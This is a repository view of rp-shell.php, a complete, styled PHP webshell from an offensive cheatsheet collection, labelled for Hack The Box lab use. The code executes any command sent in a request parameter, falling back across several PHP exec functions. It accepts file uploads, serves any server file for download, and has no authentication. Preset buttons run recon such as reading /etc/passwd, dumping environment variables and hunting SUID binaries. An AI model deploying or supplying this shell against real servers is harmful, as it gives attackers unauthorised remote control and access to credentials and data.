daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

rp-shell.php (9234B)


      1 <?php
      2 // ============================================================
      3 //  rp-shell.php — single-file PHP webshell (Rose Pine)
      4 //  Lab use only — HTB Academy / CPTS
      5 // ============================================================
      6 $statusMsg = '';
      7 $output    = '';
      8 
      9 // --- working directory (persists across requests via hidden field) ---
     10 $workDir = isset($_REQUEST['wd']) ? $_REQUEST['wd'] : getcwd();
     11 if (!is_dir($workDir)) $workDir = getcwd();
     12 $workDir = realpath($workDir);
     13 
     14 // --- file download: ?get=<path> ---
     15 if (isset($_GET['get']) && $_GET['get'] !== '') {
     16     $f = $_GET['get'];
     17     $full = ($f[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $f)) ? $f : $workDir . DIRECTORY_SEPARATOR . $f;
     18     if (is_file($full)) {
     19         header('Content-Type: application/octet-stream');
     20         header('Content-Disposition: attachment; filename="' . basename($full) . '"');
     21         header('Content-Length: ' . filesize($full));
     22         readfile($full);
     23         exit;
     24     }
     25     $statusMsg = 'download failed: not found -> ' . $full;
     26 }
     27 
     28 // --- file upload (drops into current working directory) ---
     29 if (isset($_FILES['f']) && $_FILES['f']['error'] === UPLOAD_ERR_OK && $_FILES['f']['size'] > 0) {
     30     $dest = $workDir . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']);
     31     $statusMsg = move_uploaded_file($_FILES['f']['tmp_name'], $dest)
     32         ? 'uploaded -> ' . $dest
     33         : 'upload failed (permissions?) -> ' . $dest;
     34 }
     35 
     36 // --- command execution ---
     37 function rp_run($c, $wd) {
     38     $full = 'cd ' . escapeshellarg($wd) . ' && ' . $c . ' 2>&1';
     39     if (function_exists('shell_exec')) return shell_exec($full);
     40     if (function_exists('system'))    { ob_start(); system($full); return ob_get_clean(); }
     41     if (function_exists('passthru'))  { ob_start(); passthru($full); return ob_get_clean(); }
     42     if (function_exists('exec'))      { exec($full, $o); return implode("\n", $o); }
     43     if (function_exists('proc_open')) {
     44         $p = proc_open($full, array(1 => array('pipe','w')), $pipes);
     45         if (is_resource($p)) { $r = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); return $r; }
     46     }
     47     return 'error: all exec functions disabled (check disable_functions)';
     48 }
     49 
     50 $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
     51 if ($cmd !== '') {
     52     $t = trim($cmd);
     53     if ($t === 'cd' || strpos($t, 'cd ') === 0) {
     54         $target = trim(substr($t, 2));
     55         if ($target === '') { $output = $workDir; }
     56         else {
     57             $new = ($target[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $target))
     58                  ? $target : $workDir . DIRECTORY_SEPARATOR . $target;
     59             $real = realpath($new);
     60             if ($real && is_dir($real)) { $workDir = $real; $output = ''; }
     61             else $output = "cd: no such directory: $target";
     62         }
     63     } elseif ($t === 'cls' || $t === 'clear') {
     64         $output = '';
     65     } else {
     66         $output = rp_run($cmd, $workDir);
     67     }
     68 }
     69 
     70 // --- banner identity ---
     71 function rp_whoami($wd) {
     72     $w = trim((string) rp_run('whoami', $wd));
     73     return ($w !== '') ? $w : (getenv('USERNAME') ?: getenv('USER') ?: '?');
     74 }
     75 $banner = gethostname() . ' :: ' . rp_whoami($workDir);
     76 
     77 function h($s) { return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8'); }
     78 ?>
     79 <!DOCTYPE html>
     80 <html>
     81 <head>
     82 <meta charset="utf-8">
     83 <title>rp-shell :: <?= h($banner) ?></title>
     84 <style>
     85     :root{
     86         --base:#191724; --surface:#1f1d2e; --overlay:#26233a;
     87         --muted:#6e6a86; --subtle:#908caa; --text:#e0def4;
     88         --love:#eb6f92; --gold:#f6c177; --rose:#ebbcba;
     89         --pine:#31748f; --foam:#9ccfd8; --iris:#c4a7e7;
     90     }
     91     *{box-sizing:border-box;}
     92     body{
     93         background:var(--base); color:var(--text);
     94         font-family:"Cascadia Code",Consolas,"Courier New",monospace;
     95         margin:0; padding:24px; font-size:14px;
     96     }
     97     .wrap{max-width:960px; margin:0 auto;}
     98     .card{
     99         background:var(--surface); border:1px solid var(--overlay);
    100         border-radius:10px; padding:18px 20px; margin-bottom:16px;
    101     }
    102     .banner{
    103         font-size:15px; color:var(--foam); letter-spacing:.5px;
    104         border-left:3px solid var(--iris); padding-left:12px;
    105     }
    106     .banner b{color:var(--love);}
    107     .meta{color:var(--subtle); font-size:12px; margin-top:6px;}
    108     .meta span{color:var(--gold);}
    109     .pwd{color:var(--pine); word-break:break-all;}
    110     .pwd b{color:var(--foam);}
    111     pre{
    112         background:var(--base); border:1px solid var(--overlay);
    113         border-radius:8px; padding:14px; overflow-x:auto;
    114         white-space:pre-wrap; word-break:break-all;
    115         color:var(--text); min-height:60px; margin:12px 0;
    116     }
    117     .status{color:var(--gold); font-size:12px; min-height:16px;}
    118     input[type=text]{
    119         width:100%; background:var(--overlay); color:var(--text);
    120         border:1px solid var(--muted); border-radius:6px;
    121         padding:10px 12px; font-family:inherit; font-size:14px;
    122     }
    123     input[type=text]:focus{outline:none; border-color:var(--iris);}
    124     .row{display:flex; gap:8px; margin-top:10px; flex-wrap:wrap; align-items:center;}
    125     .btn{
    126         background:var(--pine); color:var(--text); border:none;
    127         border-radius:6px; padding:9px 18px; cursor:pointer;
    128         font-family:inherit; font-size:13px;
    129     }
    130     .btn:hover{background:var(--foam); color:var(--base);}
    131     .btn.alt{background:var(--overlay); color:var(--subtle);}
    132     .btn.alt:hover{background:var(--muted); color:var(--text);}
    133     .chips{margin-top:10px; display:flex; gap:6px; flex-wrap:wrap;}
    134     .chip{
    135         background:var(--overlay); color:var(--iris); border:1px solid var(--muted);
    136         border-radius:12px; padding:3px 10px; font-size:11px; cursor:pointer;
    137     }
    138     .chip:hover{background:var(--iris); color:var(--base);}
    139     .fileline{display:flex; gap:8px; margin-top:8px; align-items:center;}
    140     .fileline input[type=file]{color:var(--subtle); font-size:12px;}
    141     .hint{color:var(--muted); font-size:11px; margin-top:8px;}
    142     a{color:var(--foam);}
    143 </style>
    144 </head>
    145 <body>
    146 <div class="wrap">
    147 
    148     <div class="card">
    149         <div class="banner">rp-shell :: <b><?= h($banner) ?></b></div>
    150         <div class="meta">
    151             remote <span><?= h($_SERVER['REMOTE_ADDR'] ?? '?') ?></span> ::
    152             server <span><?= h($_SERVER['SERVER_SOFTWARE'] ?? '?') ?></span> ::
    153             php <span><?= phpversion() ?></span> ::
    154             disabled <span><?= h(ini_get('disable_functions') ?: 'none') ?></span>
    155         </div>
    156     </div>
    157 
    158     <div class="card">
    159         <div class="pwd">cwd :: <b><?= h($workDir) ?></b></div>
    160         <pre id="out"><?= h($output) ?></pre>
    161         <div class="status"><?= h($statusMsg) ?></div>
    162 
    163         <form method="post" enctype="multipart/form-data">
    164             <input type="hidden" name="wd" value="<?= h($workDir) ?>">
    165             <input type="text" name="cmd" id="cmd" autocomplete="off"
    166                    autofocus placeholder="command... (cd supported, cls clears)">
    167             <div class="row">
    168                 <button class="btn" type="submit">run</button>
    169                 <button class="btn alt" type="submit" name="cmd" value="cls">clear</button>
    170             </div>
    171             <div class="chips">
    172                 <span class="chip" onclick="fill('id')">id</span>
    173                 <span class="chip" onclick="fill('uname -a')">uname</span>
    174                 <span class="chip" onclick="fill('ls -la')">ls -la</span>
    175                 <span class="chip" onclick="fill('cat /etc/passwd')">passwd</span>
    176                 <span class="chip" onclick="fill('sudo -l')">sudo -l</span>
    177                 <span class="chip" onclick="fill('env | sort')">env</span>
    178                 <span class="chip" onclick="fill('find / -perm -4000 -type f 2>/dev/null')">suid hunt</span>
    179                 <span class="chip" onclick="fill('command -v python3 python perl nc socat bash')">interpreters</span>
    180             </div>
    181             <div class="fileline">
    182                 <input type="file" name="f">
    183                 <button class="btn alt" type="submit">upload to cwd</button>
    184             </div>
    185         </form>
    186 
    187         <form method="get" class="fileline">
    188             <input type="hidden" name="wd" value="<?= h($workDir) ?>">
    189             <input type="text" name="get" placeholder="download path, e.g. /etc/passwd or ./config.php">
    190             <button class="btn alt" type="submit">download</button>
    191         </form>
    192 
    193         <div class="hint">
    194             up/down arrows = command history ::
    195             exec falls back across shell_exec/system/passthru/exec/proc_open ::
    196             remember to delete this file during cleanup
    197         </div>
    198     </div>
    199 
    200 </div>
    201 <script>
    202     var hist = [], hi = -1;
    203     var box = document.getElementById("cmd");
    204     function fill(c){ box.value = c; box.focus(); }
    205     box.form.addEventListener("submit", function(){
    206         if (box.value) hist.push(box.value);
    207     });
    208     box.addEventListener("keydown", function(e){
    209         if (e.key === "ArrowUp"){ e.preventDefault();
    210             if (hist.length){ hi = Math.max(0, hi < 0 ? hist.length - 1 : hi - 1); box.value = hist[hi]; } }
    211         if (e.key === "ArrowDown"){ e.preventDefault();
    212             if (hist.length){ hi = Math.min(hist.length - 1, hi + 1); box.value = hist[hi]; } }
    213     });
    214 </script>
    215 </body>
    216 </html>